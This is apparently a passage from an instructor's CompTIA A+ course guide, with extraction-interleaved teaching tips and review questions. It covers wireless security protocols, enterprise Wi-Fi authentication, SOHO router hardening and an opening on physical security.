The sender uses the recipient’s public key to encrypt a secret key. The recipient
uses the private key to retrieve the secret key and then uses the secret key to
decrypt whatever data message was transmitted by the sender. In this context,
the symmetric cipher secret key is also referred to as a session key. If it is changed
often, it is also referred to as an ephemeral key.

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Review Activity:
Attacks, Threats, and Vulnerabilities
3

Show Answer the following questions:

Slide(s)
Review

Teaching 1. Confidentiality and integrity are two important properties of information

Tip stored in a secure retrieval system. What is the third property?
Take some time at Availability—information that is inaccessible is not of much use to authorized users.
the end of each topic
For example, a secure system must protect against denial of service (DoS) attacks.
to answer questions.
You can use the
2. True or false? The level of risk from zero-day attacks is only significant
review questions
for discussion in with respect to EOL systems.
class or set them for
students to complete False. A zero-day is a vulnerability that is unknown to the product vendor and
individually during or means that no patch is available to mitigate it. This can affect currently supported
after class. as well as unsupported end-of-life (EOL) systems. The main difference is that there
is a good chance of a patch being developed if the system is still supported, but
almost no chance if it is EOL.

3. A threat actor crafts an email addressed to a senior support technician

inviting him to register for free football coaching advice. The website
contains password-stealing malware. What is the name of this type
of attack?

A phishing attack tries to make users authenticate with a fake resource, such as
a website. Phishing emails are often sent in mass as spam. This is a variant of
phishing called spear phishing because it is specifically targeted at a single person,
using personal information known about the subject (his or her football-coaching
volunteer work).

4. You are assisting with the development of end-user security awareness

documentation. What is the difference between tailgating and shoulder
surfing?

Tailgating means following someone else through a door or gateway to enter

premises without authorization. Shoulder surfing means covertly observing
someone type a PIN or password or other confidential data.

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5. You discover that a threat actor has been able to harvest credentials
from some visitors connecting to the company’s wireless network from
the lobby. The visitors had connected to a network named “Internet”
and were presented with a web page requesting an email address and
password to enable guest access. The company’s access point had been
disconnected from the cabled network. What type of attack has been
perpetrated?

This is an evil twin attack where the threat actor uses social engineering techniques
to persuade users to connect to an access point that spoofs a legitimate guest
network service.

6. A threat actor recovers some documents via dumpster diving and learns
that the system policy causes passwords to be configured with a random
mix of different characters that are only five characters in length. To
what type of password cracking attack is this vulnerable?

Brute force attacks are effective against short passwords. Dictionary attacks depend
on users choosing ordinary words or phrases in a password.

7. What type of cryptographic key is delivered in a digital certificate?

A digital certificate is a wrapper for a subject’s public key. The public and private
keys in an asymmetric cipher are paired. If one key is used to encrypt a message,
only the other key can then decrypt it.

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Topic 16B
Show
Slide(s)
Compare Wireless
Security Protocols

Teaching
Tip
This topic covers the
Compare Wireless Security Protocols
implementation of 8

basic cryptography
concepts in wireless CORE 2 EXAM OBJECTIVES COVERED
security protocols. The 2.2 Compare and contrast wireless security protocols and authentication methods.
protocols discussed
here are complex, but
the aim is to allow the
student to understand You must make sure that the devices attached to your network are only being
and compare their
operated by authorized users, especially when users can connect wirelessly.
uses without having
to delve into the detail Understanding the types of wireless security protocols and authentication methods
of how they operate. will help you to configure secure network settings.
However, be prepared
to spend extra time on
this topic. Wi-Fi Protected Access
Show Wireless LANs require careful configuration to make the connection and
Slide(s) transmissions over the link secure. The main problem with wireless is that because
it is unguided, there is no way to prevent anything within range from listening to
Wi-Fi Protected Access
the signals. If the wireless traffic is unencrypted, this could allow the interception of
Teaching data or the unauthorized use of the network.
Tip
Explain that a Wi-Fi
Temporal Key Integrity Protocol
security mechanism
The first version of Wi-Fi Protected Access (WPA) was designed to fix critical
derives a key so that
traffic between the vulnerabilities in the earlier wired equivalent privacy (WEP) standard. Like WEP,
station and access version 1 of WPA uses the RC4 symmetric cipher to encrypt traffic but adds a
point is encrypted. mechanism called the Temporal Key Integrity Protocol (TKIP) to try to mitigate
Anyone can intercept the various attacks against WEP that had been developed.
the traffic, but it can
only be deciphered WPA2
using the key. Lots
of faults that allow Neither WEP nor the original WPA version are considered secure enough for
attackers to recover
the key have been
continued use. Even with TKIP, WPA is vulnerable to various types of replay attack
discovered over that aim to recover the encryption key. WPA2 uses the Advanced Encryption
the years, meaning Standard (AES) cipher deployed within the Counter Mode with Cipher Block
that the standards Chaining Message Authentication Code Protocol (CCMP). AES replaces RC4 and
have needed regular CCMP replaces TKIP. CCMP provides authenticated encryption, which is designed to
updates.
make replay attacks harder.
TKIP was used to fix
the very serious issues Some access points allow WPA2 to be used in WPA2-TKIP or WPA2-TKIP+AES
in the earlier Wired compatibility mode. This provides support for legacy clients at the expense of
Equivalent Privacy
weakening the security. It is better to select WPA2-AES.
(WEP) standard but
has its own flaws.
AES replaced the
older, vulnerable
cryptographic cipher
(RC4) completely.
WPA3 fixes flaws in
the 4-way handshake
and represents the
strongest available
Wi-Fi security method.

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WPA3 Note that some

access points have
Weaknesses have also been found in WPA2, however, which has led to its intended (or had) personal
authentication modes
replacement by WPA3. The main features of WPA3 are as follows:
such as WPA2-TKIP
• Simultaneous Authentication of Equals (SAE)—WPA2 uses a 4-way handshake or WPA2-TKIP+AES
to allow a station to associate with an access point, authenticate its credential, for backward
compatibility with
and exchange a key to use for data encryption. This 4-way handshake clients with no
mechanism is vulnerable to manipulations that allow a threat actor to recover support for AES.
the key. WPA3 replaces the 4-way handshake with the more secure SAE Additionally, some
mechanism. offered WPA+AES,
but there are almost
• Updated cryptographic protocols—WPA3 replaces AES CCMP with the stronger no circumstances
AES Galois Counter Mode Protocol (GCMP) mode of operation. when this would be
useful (any client that
• Protected management frames—Management frames are used for supports AES will
support WPA2).
association and authentication and disassociation and deauthentication
messages between stations and access points as devices join and leave the It’s not a content
network. These frames can be spoofed and misused in various ways under example, but mention
open authentication
WPA and WPA2. WPA3 mandates use of encryption for these frames to
and note the
protect against key recovery attacks and DoS attacks that force stations to improvements
disconnect. made in WPA3 (Wi-Fi
Enhanced Open) to
• Wi-Fi Enhanced Open—An open Wi-Fi network is one with no passphrase. prevent snooping
Any station can join the network. In WPA2, this also means that all traffic is on shared/guest
unencrypted. WPA3 encrypts this traffic. This means that any station can still join networks.
the network, but traffic is protected against sniffing.

Configuring a TP-LINK SOHO access point with wireless encryption and authentication settings.
In this example, the 2.4 GHz band allows legacy connections with WPA2-Personal security,
while the 5 GHz network is for 802.11ax (Wi-Fi 6)-capable devices using WPA3-SAE
authentication. (Screenshot courtesy of TP-Link.)

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Wi-Fi Authentication Methods

Show Wi-Fi authentication comes in three types: open, personal, and enterprise. Within
Slide(s) the personal authentication category, there are two methods: WPA2 pre-shared key
Wi-Fi Authentication (PSK) authentication and WPA3 simultaneous authentication of equals (SAE).
Methods
WPA2 Pre-Shared Key Authentication
Teaching
Tip In WPA2, pre-shared key (PSK) authentication uses a passphrase to generate
the key that is used to encrypt communications. It is also referred to as group
Explain that where
encryption protects authentication because a group of users shares the same passphrase. When the
traffic from snooping, access point is set to WPA2-PSK mode, the administrator configures a passphrase
authentication consisting of 8 to 63 characters. This is converted to a type of hash value, referred
determines what kind to as the pairwise master key (PMK). The same secret must be configured on each
of credentials can be station that joins the network. The PMK is used as part of WPA2’s 4-way handshake
used to connect to
the network and how
to derive various session keys.
those credentials are All types of PSK authentication have been shown to be vulnerable to attacks that
verified. With personal
attempt to recover the passphrase. The passphrase must be at least 14 characters
authentication, the
credential is a shared long to try to mitigate risks from cracking.
passphrase. WPA3
uses a more secure WPA3 Personal Authentication
method to use this
passphrase to agree While WPA3 still uses passphrase-based group authentication of stations in
session keys. personal mode, it changes the method by which this secret is used to agree session
keys. In WPA3, the simultaneous authentication of equals (SAE) protocol replaces
the 4-way handshake.

The configuration interfaces for access points can use different labels for these methods.
You might see WPA2-Personal and WPA3-SAE rather than WPA2-PSK and WPA3-
Personal, for example. Additionally, an access point can be configured for WPA3 only or
with support for legacy WPA2 (WPA3-Personal Transition mode). Enabling compatibility
supports legacy clients at the expense of weakening security.

Enterprise Authentication Protocols

Show The main problems with personal modes of authentication are that distribution of
Slide(s) the passphrase cannot be secured properly and that the access point administrator
Enterprise may choose an unsecure passphrase. Personal authentication also fails to provide
Authentication accounting because all users share the same credential.
Protocols
As an alternative to personal authentication, WPA’s 802.1X enterprise
Teaching authentication method implements the Extensible Authentication Protocol (EAP).
Tip EAP allows the use of different mechanisms to authenticate against a network
directory. 802.1X defines the use of EAP over Wireless (EAPoW) to allow an access
AAA is introduced in
the Core 1 course. point to forward authentication data without allowing any other type of network
If you have not access. It is configured by selecting WPA2-Enterprise or WPA3-Enterprise as the
completed that yet, security method on the access point.
remind students about
the role of each device:
the wireless station is
the supplicant and the
access point is the AAA
client.
EAP establishes the
mechanism for using
secure credentials,
such as digital
certificates, smart
cards, and biometrics.

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Enterprise authentication uses the following general workflow: As an example, explain

the EAP-TLS workflow.
1. When a wireless station (a supplicant) requests an association, the AP enables The AAA server and
the channel for EAPoW traffic only. supplicant device
are both installed
2. It passes the credentials submitted by the supplicant to an Authentication, with certificates and
Authorization, and Accounting (AAA) server on the wired network for encryption keys. The
validation. The AAA server (not the access point) determines whether to user authenticates
with his or device to
accept the credential. allow use of its private
key in performing
3. When the user has been authenticated, the AAA server transmits a master the TLS handshake
key (MK) to the wireless PC or laptop. The wireless station and authentication using a fingerprint
server then derive the same pairwise master key (PMK) from the MK. reader, for instance.
The supplicant verifies
4. The AAA server transmits the PMK to the access point. The wireless station the identity of the
and access point use the PMK to derive session keys, using either the WPA2 server using its public
4-way handshake or WPA3 SAE methods. key and certificate
and then transmits
The enterprise authentication method means that the access point does not need to its own certificate
as its authentication
store any user accounts or credentials. They can be held in a more secure location on
credential.
the AAA server. Another advantage of EAP is support for more advanced authentication
methods than simple usernames and passwords. Strong EAP methods use a digital None of this traffic is
visible to the access
certificate on the server and/or client machines. These certificates allow the machines point, which just acts
to establish a trust relationship and create a secure tunnel to transmit the user as a pass-thru.
credential or to perform smart card authentication without a user password. This
means the system is using strong multifactor authentication.
For example, EAP with Transport Layer Security (EAP-TLS) is one of the strongest
types of multifactor authentication:
1. Both the server and the wireless supplicant are issued with an encryption key
pair and digital certificate.

2. On the wireless device, the private key is stored securely in a trusted platform
module (TPM) or USB key. The user must authenticate with the device using a
PIN, password, or bio gesture to allow use of the key. This is the first factor.

3. When the device associates with the network and starts an EAP session, the
server sends a digital signature handshake and its certificate.

4. The supplicant validates the signature and certificate and if trusted, sends its
own handshake and certificate. This is the second factor.

5. The server checks the supplicant’s handshake and certificate and

authenticates it if trusted.

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Show
Slide(s)
RADIUS, TACACS+,
and Kerberos

Teaching
Tip
To explain how
RADIUS/TACACS+ and
Kerberos can be used
together, step back
a little and explain
the whole enterprise
authentication
and authorization
architecture, using
Windows AD as the
main example. Explain
that the network
directory/account
store (Active Directory)
is a high-value asset
and shouldn’t be
exposed on an edge
device such as an
access point (it also
takes more resources
Configuring Network Policy Server to authenticate wireless clients using 802.1X EAP-TLS.
to run than a typical
access point has). (Screenshot courtesy of Microsoft.)
Local wired clients can
authenticate directly
to AD via Kerberos. Other methods of EAP use a certificate on the AAA server only. The AAA server
Kerberos is an SSO uses the certificate to create an encrypted tunnel for the supplicant to send a
protocol that can username/password credential securely.
handle authentication
and authorization for
multiple application
services through the RADIUS, TACACS+, and Kerberos
use of tickets. This
means that the client Enterprise authentication uses an AAA server and network directory. These
device is already
components can be implemented by several different protocols.
active on the network,
however, which
raises several security RADIUS
risks even if the user
account isn’t yet Remote Authentication Dial-in User Service (RADIUS) is one way of
authenticated. implementing the AAA server when configuring enterprise authentication. The
Access points use wireless access point is configured as a client of the RADIUS server. Rather than
an AAA protocol storing and validating user credentials directly, it forwards this data between the
such as RADIUS—on RADIUS server and the supplicant without being able to read it. The wireless access
Windows Server point must be configured with the host name or IP address of the RADIUS server
this is implemented and a shared secret. The shared secret allows the RADIUS server and access point
as Network Policy
to trust one another.
Server (NPS)—to
shuttle authentication
and authorization TACACS+
traffic between
the supplicant and Terminal Access Controller Access Control System Plus (TACACS+) is another
the AAA. The AAA way of implementing AAA. TACACS+ was developed by Cisco but is also supported
server uses LDAP to on many third-party implementations. Where RADIUS is often used to authenticate
communicate with connections by wireless and VPN users, TACACS+ is often used in authenticating
the directory service
administrative access to routers, switches, and access points.
(AD). The access point
has no user account
credentials configured

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Kerberos on it and cannot

decrypt any of the
In theory, an access point could allow a user to authenticate directly to a directory authentication traffic.
The access point only
server using the Kerberos protocol. On Windows networks, Kerberos allows a user
allows EAP traffic until
account to authenticate to a domain controller (DC) over a trusted local cabled the user has been
segment. Kerberos facilitates single sign-on (SSO). As well as authenticating the user accepted.
on the network, the Kerberos server issues authorization tickets that give the user
You might also want to
account rights and permissions on compatible application servers. mention that the same
In practice, there are no access points with direct support for Kerberos. Access architecture is typically
used for wired access
points use RADIUS or TACACS+ and EAP to tunnel the credentials and tokens that via switches and
allow a domain user connecting via a wireless client to authenticate to a DC and use for remote access
SSO authorizations. via VPNs—there’s
nothing that restricts
these technologies to
wireless.
Explain that TACACS+
is an AAA protocol
like RADIUS, but it
is typically used for
device administration
rather than user
access to the network.
For example, an
administrator might
use TACACS+ to log on
to the administrative
interface of an
access point and be
authorized to change
the network name or
security type.
In theory, an access
point could implement
Kerberos directly
rather than going
through an AAA
server, but this is
not done in practice.
All access points
use RADIUS or
TACACS+ as a simple
“wrapper” mechanism
for whatever
authentication
and authorization
parameters need to be
communicated.

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Review Activity:
Wireless Security Protocols
9

Show Answer the following questions:

Slide(s)
Review

Teaching
1. True or false. TKIP represents the best available wireless encryption and
Tip
should be configured in place of AES if supported.
Take some time at False. Advanced Encryption Standard (AES) provides stronger encryption and is
the end of each topic enabled by selecting Wi-Fi Protected Access (WPA) version 2 with AES/CCMP or
to answer questions.
You can use the
WPA3 encryption mode. The Temporal Key Integrity Protocol (TKIP) attempts to
review questions fix problems with the older RC4 cipher used by the first version of WPA. TKIP and
for discussion in WPA1 are now deprecated.
class or set them for
students to complete 2. True or false? WPA3 personal mode is configured by selecting a
individually during or passphrase shared between all users who are permitted to connect to
after class. the network.

True. WPA3-Personal uses group authentication via a shared passphrase. The

simultaneous authentication of equals (SAE) mechanism by which this passphrase is
used to generate network encryption keys is improved compared to the older WPA2
protocol, however.

3. What two factors must a user present to authenticate to a wireless

network secured using EAP-TLS?

Extensible Authentication Protocol (EAP) allows for different types of mechanisms

and credentials. The Transport Layer Security (TLS) method uses digital certificates
installed on both the server and the wireless station. The station must use its
private key and its certificate to perform a handshake with the server. This is one
factor. The user must authenticate to the device to allow use of this private key. This
device authentication—via a password, PIN, or bio gesture—is the second factor.

4. In AAA architecture, what type of device might a RADIUS client be?

AAA refers to Authentication, Authorization, and Accounting and the Remote Access
Dial-in User Service (RADIUS) protocol is one way of implementing this architecture.
The RADIUS server is positioned on the internal network and processes
authentication and authorization requests. The RADIUS client is the access point,
and it must be configured with the IP address of the server plus a shared secret
passphrase. The access point forwards authentication traffic between the end-user
device (a supplicant) and the RADIUS server but cannot inspect the traffic.

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Topic 16C
Show
Slide(s)
Configure SOHO
Router Security

Teaching

Configure SOHO Router Security Tip

As the previous topic
5
was theory-laden and
there is some overlap
CORE 2 EXAM OBJECTIVES COVERED with Core 1 here, try
2.9 Given a scenario, configure appropriate security settings on small office/home office not to spend too much
(SOHO) wireless and wired networks. time presenting this
content. Students
can pick up the
A small office home office (SOHO) network typically uses a single home router procedures and tools
through lab work.
appliance to implement both Internet access and a wired and wireless local network Focus on content
segment and IP network. In this topic, you will learn how to configure common filtering and port
security features of home routers. forwarding.

Home Router Setup

A small office home office (SOHO) LAN uses a single Internet appliance to provide Show
connectivity. This appliance combines the functions of Internet router, DSL/cable Slide(s)
modem, Ethernet switch, and Wi-Fi access point. It can variously be described as a Home Router Setup
wireless router, SOHO router, or home router.
Teaching
Physical Placement/Secure Locations Tip
Identify the placement
Ideally, the physical placement of any type of router or network appliance should requirements (near
be made to a secure location. A non-malicious threat actor could damage or power provider’s minimum
off an appliance by accident. A malicious threat actor could use physical access to point of entry plus
tamper with an appliance or attach unauthorized devices to network or USB ports power), discuss
or use the factory reset mechanism and log on with the default password. On an the importance
of protecting the
enterprise network, such appliances are deployed in a locked equipment room and
management
may also be protected by lockable cabinets. interface, and describe
In a home environment, however, the router must be placed near the minimum how the WAN/
Internet interface
point of entry for the service provider’s cabling. There is not always a great deal of is configured (if not
flexibility for choosing a location that will make the router physically inaccessible to auto-provisioned by
anyone other than the administrator. The home router will also usually implement the service provider).
the wireless network and therefore cannot be locked in a cabinet because clients
would suffer from reduced signal strength.

Home Router Setup

To set up a new home router, first connect it to the provider cabling using its WAN
port. This will be a WAN labelled RJ45 port for a full fiber connection, an RJ11 port
for DSL, or an F-connector coax port for cable. Alternatively, the home router might
need to be connected to an external digital modem. This connection will use a
dual-purpose RJ45 port on the router labeled WAN/LAN.

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Power on the router. Connect a computer to an RJ45 LAN port to start the home
router setup process. LAN ports on a home router are usually color-coded yellow.
Make sure the computer is set to obtain an IP address automatically. Wait for
the Dynamic Host Configuration Protocol (DHCP) server running on the router to
allocate a valid IP address to the computer.
Use a browser to open the device’s management URL, as listed in the
documentation. This could be an IP address or a host/domain name, such as
http://192.168.0.1 or http://www.routerlogin.com
It might use HTTPS rather than unencrypted HTTP. If you cannot connect, check that
the computer’s IP address is in the same range as the device IP.
The home router management software will prompt you to change the default
password to secure the administrator account. Enter the default password (as
listed in the documentation or printed on a sticker accompanying the router/
modem). Choose a new, strong password of 12 characters or more. If there is also
an option to change the default username of the administrator account, this is also
a little bit more secure than leaving the default configured.

Internet Access and Static Wide Area Network IP

Most routers will use a wizard-based setup to connect to the Internet via the service
provider’s network. The WAN link parameters (full fiber, DSL, or cable) are normally
self-configuring. You might need to supply a username and password. If manual
configuration is required, obtain the settings from your ISP.
The router’s public interface IPv4 address is determined by the ISP. This must be
an address from a valid public range. This is normally auto-configured by the ISP’s
DHCP service.
Some Internet access packages assign a static IP or offer an option to pay for
a static address. A static address might also be auto-configured as a DHCP
reservation, but if manual configuration is required, follow the service provider’s
instructions to configure the correct address on the router’s WAN interface.
When the Internet interface is fully configured, use the router’s status page to verify
that the Internet link is up.

Firmware Update
Show You should keep the firmware and driver for the home router up to date with
Slide(s) the latest patches. This is important because it allows you to fix security holes
Firmware Update and support the latest security standards, such as WPA3. To perform a firmware
update, download the update from the vendor’s website, taking care to select
Interaction the correct patch for your device make and model. In the management app,
Opportunity select the Firmware Upgrade option and browse for the firmware file you
If you have Internet downloaded.
access, get students
Make sure that power to the device is not interrupted during the update process.
to locate the firmware
download on a vendor
site.

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Upgrading device firmware on a TP-LINK home router. (Screenshot courtesy of TP-Link.)

Home Router LAN and WLAN Configuration

A home router provides a one-box solution for networking. The WAN port facilitates Show
Internet access. Client devices can connect to the local network via the RJ45 LAN Slide(s)
ports or via the appliance’s access point functionality. Home Router LAN and
WLAN Configuration
Service Set ID
Teaching
The service set ID (SSID) is a simple, case-sensitive name by which users identify Tip
the WLAN. The factory configuration uses a default SSID that is typically based on Discuss options for
the device brand or model. You should change it to something that your users implementing the
will recognize and not confuse with nearby networks. Given that, on a residential wired and wireless
network, you should not use an SSID that reveals personal information, such as an local network securely.
address or surname. Similarly, on a business network, you may not want to use a Having spent a long
time on encryption,
meaningful name. For example, an SSID such as “Accounts” could be a tempting
the actual choice is
target for an evil twin attack. simple: WPA3 if the
Disabling broadcast of the SSID prevents any stations not manually configured to access point and all
clients support it;
connect to the name you specify from seeing the network. This provides a margin of otherwise WPA2-AES/
privacy at the expense of configuration complexity. CCMP. If clients don’t
support WPA2-AES/
Hiding the SSID does not secure the network; you must enable encryption. Even when CCMP, don’t reduce
broadcast is disabled, the SSID can still be detected using packet sniffing tools and security just to
Wi-Fi analyzers. connect them.

Encryption Settings
The encryption or security option allows you to set the authentication mode. You
should set the highest standard supported by the client devices that need to connect.
1. Ideally, select WPA3. If necessary, enable compatibility support for WPA2 (AES/
CCMP) or even WPA2 (TKIP). Remember that enabling compatibility weakens
the security because it allows malicious stations to request a downgraded
security type.

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2. Assuming personal authentication, enter a strong passphrase to use to

generate the network key.

Configuring security settings on a TP-LINK home router. This configuration allows WPA
compatibility mode, which is less secure. (Screenshot courtesy of TP-Link.)

Disabling Guest Access

Most home routers automatically configure and enable a guest wireless network.
Clients can connect to this and access the Internet without a passphrase. The guest
network is usually isolated from the other local devices though. Use the option to
disable guest access if appropriate.

Changing Channels
For each radio frequency band (2.4 GHz, 5 GHz, and 6 GHz), there will be an option
to autoconfigure or select the operating channel. If set to auto-detect, the access
point will select the channel that seems least congested at boot time. As the
environment changes, you may find that this channel selection is not the optimum
one. You can use a Wi-Fi analyzer to identify which channel within the access point’s
range is least congested.

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Home Router Firewall Configuration

All home routers come with at least a basic firewall, and some allow advanced Show
filtering rules. Any firewall operates two types of filtering: Slide(s)
• Inbound filtering determines whether remote hosts can connect to given TCP/ Home Router Firewall
UDP ports on internal hosts. On a home router, all inbound ports are blocked by Configuration
default. Exceptions to this default block are configured via port forwarding.
Teaching
• Outbound filtering determines the hosts and sites on the Internet that internal Tip
hosts are permitted to connect to. On a home router, outbound connections are Start by discussing the
allowed by default but can be selectively restricted via a content filter. basic functionality of a
SOHO firewall to block
Any packet-filtering firewall can allow or block traffic based on source and destination all inbound and allow
IP address filtering. Identifying which IP address ranges should be allowed or blocked all outbound. We’ll
discuss outbound
and keeping those lists up to date is a complex task, however. Most home router here and inbound on
firewalls implement content filtering instead. Content filtering means that the firewall the next slide. Explain
downloads curated reputation databases that associate IP address ranges, FQDNs, and that IP filtering might
URL web addresses with sites known to host various categories of content and those be possible on some
associated with malware, spam, or other threats. The filters can also block URLs or models, but identifying
what to block is a huge
search terms using keywords and phrases. There will be separate blacklists for different
challenge.
types of content that users might want to block.
Content filtering
provides a solution
to that by compiling
databases that can
restrict traffic based
on URL reputation/
parental advisory
block lists. The user
can enable filters
for different content
types. It’s also usually
possible to configure
time-of-day/maximum
elapsed time usage.

Configuring parental control content-filtering to restrict when certain devices can access the
network on a TP-LINK home router. (Screenshot courtesy of TP-Link.)

Another content-filtering option is to restrict the times at which the Internet is

accessible. These are configured in conjunction with services offered by the ISP.

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Show Home Router Port Forwarding Configuration

Slide(s)
Home Router Where content filtering mediates outgoing access to the Internet, port forwarding
Port Forwarding allows Internet hosts to connect to computers on the local network. This is usually
Configuration configured to support multiplayer games, but some home users might want to
allow remote access to home computers or even run a web server.
Teaching
Tip Static IP Addresses and DHCP Reservations
Discuss why and how
LAN hosts can be To create a port-forwarding rule, you must identify the destination computer by IP
exposed to inbound address. This is not easy if the computer obtains its IP configuration via a normal
access from the DHCP lease. You could configure the host to use static addressing, but this can be
Internet and mention difficult to manage. Another option is to create a reservation (DHCP) for the device
reasons and methods
for assigning a
on the DHCP server. This means that the DHCP server always assigns the same IP
static or reserved IP address to the host. You can usually choose which IP address this should be. You
addresses for these need to input the MAC address of the computer in the reservation so that the DHCP
hosts. server can recognize the host when it connects.
Explain how port
forwarding and Configuring Port-Forwarding and Port-Triggering Rules
mapping rules work.
Hosts on the Internet can only “see” the router’s WAN interface and its public IP
Note that disabling
unused ports could
address. Hosts on the local network are protected by the default block rule on the
refer to inbound firewall. If you want to run some sort of server application from your network and
or outbound. The make it accessible to the Internet, you must configure a port forwarding rule.
majority of home
router firewalls Port forwarding means that the router takes a request from an Internet host for
are configured to a particular service (for example, the TCP port 25565 associated with a Minecraft
block everything server) and sends the request to a designated host on the LAN. The request could
incoming and allow also be sent to a different port, so this feature is often also called port mapping.
everything outgoing. For example, the Internet host could request Minecraft on port 25565, but the LAN
For incoming ports,
server might run its Minecraft server on port 8181.
discuss a scenario
where something
like port forwarding
is configured and
then not actually
used. Discuss risks
from allowing port
forwarding. You can
use the Minecraft
port example in the
notes to reference the
log4js vulnerability.
Emphasize that any
decision to open
a port needs to be
accompanied by a
plan for deploying
the target host in a
secure configuration
and monitoring it for
security violations.
Blocking outgoing
ports will involve
considerable
configuration
complexity. Optionally,
mention risks from
C&C channels and
botnets, though these
tend to use HTTPS or
DNS ports anyway. Configuring port forwarding for FTP on a TP-LINK home router via its Virtual Servers feature.
(Screenshot courtesy of TP-Link.)

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Port triggering is used to set up applications that require more than one port, such
as file transfer protocol (FTP) servers. Basically, when the firewall detects activity on
outbound port A destined for a given external IP address, it opens inbound access
for the external IP address on port B for a set period.

Disabling Unused Ports

One of the basic principles of hardened configuration is only to enable services that
must be enabled. If a service is unused, then it should not be accessible in any way.
A home router operates a default block that stops any Internet host from opening a
connection to a local port. Exceptions to this default block are configured as port-
forwarding exceptions. If a port-forwarding rule is no longer required, it should
either be disabled or deleted completely.
Some of the worst security vulnerabilities are caused by simple oversights. For
example, you might enable a rule for a particular situation and then forget about it.
Make sure you review the configuration of a home router every month.
If supported by the home router, the outbound link can be made more secure
by changing to a default block and allowing only a limited selection of ports. This
involves considerable configuration complexity, however.

Universal Plug-and-Play
Port forwarding/port triggering is challenging for end users to configure correctly. Show
Many users would simply resort to turning the firewall off to get a particular Slide(s)
application to work. As a means of mitigating this attitude, services that require Universal
complex firewall configuration can use the Universal Plug-and-Play (UPnP) Plug-and-Play
framework to send instructions to the firewall with the correct configuration
parameters. Interaction
Opportunity
On the firewall, check the box to enable UPnP. A client UPnP device, such as an
If you have Internet
Xbox, PlayStation, or voice-over-IP handset, will be able to configure the firewall access, have students
automatically to open the IP addresses and ports necessary to play an online game research UPnP
or place and receive VoIP calls. vulnerabilities and
make their own
determination about
whether it’s safe
to use.

There is nothing to configure when enabling UPnP, but when client devices use the service, the rules
they have configured on the firewall are shown in the service list. (Screenshot courtesy of TP-Link.)

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UPnP is associated with many security vulnerabilities and is best disabled if not
required. You should ensure that the router does not accept UPnP configuration
requests from the external (Internet) interface. If using UPnP, keep up to date with
any security advisories or firmware updates from the router manufacturer.

Also make sure that UPnP is disabled on client devices unless you have confirmed that
the implementation is secure. As well as game consoles, vulnerabilities have been found
in UPnP running on devices such as printers and web cams.

Screened Subnets
Show When making a server accessible on the Internet, careful thought needs to be given to the
Slide(s) security of the local network. If the server target of a port-forwarding rule is compromised,
Screened Subnets because it is on the local network there is the possibility that other LAN hosts can be
attacked from it or that the attacker could examine traffic passing over the LAN.

Teaching
In an enterprise network, a screened subnet is a means of establishing a more
Tip
secure configuration. A screened subnet can also be referred to by the deprecated
terminology demilitarized zone (DMZ). The idea of a screened subnet is that some
This is always tricky to
explain in the context
hosts are placed in a separate network segment with a different IP subnet address
of home routers, range than the rest of the LAN. This configuration uses either two firewalls or a
and the change of firewall that can route between at least three interfaces. Separate rules and filters
terminology has apply to traffic between the screened subnet and the Internet, between the Internet
made it even more and the LAN, and between the LAN and the screened subnet.
troublesome.
Start by explaining the
concept of a screened
subnet as deployed in
an enterprise network
where an isolated
segment is created
for hosts that are
accessible from the
Internet and therefore
should not be fully
A screened subnet topology. (Images © 123RF.com.)
trusted by hosts on
the LAN. Note that
the key point about Most home routers come with only basic firewall functionality. The firewall in a typical
this configuration is home router screens the local network rather than establishing a screened subnet.
that different rules
apply between the However, you should be aware of the way that many home router vendors use term
various segments. DMZ. On a home router, a “DMZ” or “DMZ host” configuration is likely to refer to a
Explain that this was
computer on the LAN that is configured to receive communications for any ports
previously known
as a DMZ. Note that that have not been forwarded to other hosts. When DMZ is used in this sense, it
most service-provider- means “not protected by the firewall” as the host is fully accessible to other Internet
supplied routers will hosts (though it could be installed with a host firewall instead).
not support this type
of configuration or any
type of routing other
than NAT overloading.
With that definition
established, note
that some home-
router vendors use
DMZ or DMZ host to
describe a different
configuration—
disabling inbound
filtering for a given
host.

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Configuring a home-router version of a DMZ—the host 192.168.1.202 will not be protected

by the firewall. (Screenshot courtesy of TP-Link.)

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Review Activity:
SOHO Router Security
6

Show Answer the following questions:

Slide(s)
Review
1. You have selected a secure location for a new home router, changed the
Teaching
default password, and verified the WAN IP address and Internet link.
Tip
What next step should you perform before configuring wireless settings?
Take some time at
the end of each topic Check for a firmware update. Using the latest firmware is important to mitigate
to answer questions.
risks from software vulnerabilities.
You can use the
review questions
2. You are reviewing a secure deployment checklist for home router
for discussion in
class or set them for wireless configuration. Following the CompTIA A+ objectives, what
students to complete additional setting should be considered along with the following four
individually during or settings?
after class.
• Changing the service set identifier (SSID)

• Disabling SSID broadcast

• Encryption settings

• Changing channels

Disabling guest access. It might be appropriate to allow a guest network depending

on the circumstances, but the general principle is that services and access methods
that are not required should be disabled.

3. You are assisting a user with setting up Internet access to a web server
on a home network. You want to configure a DHCP reservation to set the
web server’s IP address, allow external clients to connect to the secure
port TCP/443, but configure the web server to listen on port TCP/8080. Is
this configuration possible on a typical home router?

Yes. You need to configure a port-mapping rule so that the router takes requests
arriving at its WAN IP for TCP/443 and forwards them to the server’s IP address on
TCP/8080. Using a known IP address for the server by configuring a Dynamic Host
Configuration Protocol (DHCP) reservation simplifies this configuration. The home
router’s DHCP server must be configured with the media access control (MAC)
address or hardware identifier of the web server.

4. A different user wants to configure a multiplayer game server by using

the DMZ feature of the router. Is this the best configuration option?

Probably not. Using a home router’s “demilitarized zone” or DMZ host option
forwards traffic for all ports not covered by specific port-forwarding rules to the
host. It is possible to achieve a secure configuration with this option by blocking
unauthorized ports and protecting the host using a personal firewall, but using
specific port-forwarding/mapping rules is better practice. The most secure solution
is to isolate the game server in a screened subnet so that is separated from other
LAN hosts, but this typically requires multiple router/firewalls.

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Topic 16D
Summarize Security Measures
5

CORE 2 EXAM OBJECTIVES COVERED Show

2.1 Summarize various security measures and their purposes. Slide(s)
Summarize Security
Measures
Physical security refers to controls that restrict in-person access to sites and Teaching
buildings. Physical security involves increasing or assuring the reliability of certain Tip
critical infrastructure elements such as switches, routers, and servers. Another case
This topic covers
where physical security is important is when there is a need to control access to physical security
physical documents, password records, and sensitive documents and equipment. controls. If you are
One successful unauthorized access attempt can lead to financial losses, credibility short of time, consider
issues, and legalities. Understanding these measures will help you to follow site designating this
policies, train end-users on site security, and assist with assessments and reviews. material as self-study.

Physical Access Control

Physical security measures control who can access a building or a secure area of a Show
building, such as a server room. Slide(s)
Physical Access
Perimeter Security Control

Perimeter security uses barricades, fences, lighting, and surveillance to control and Teaching
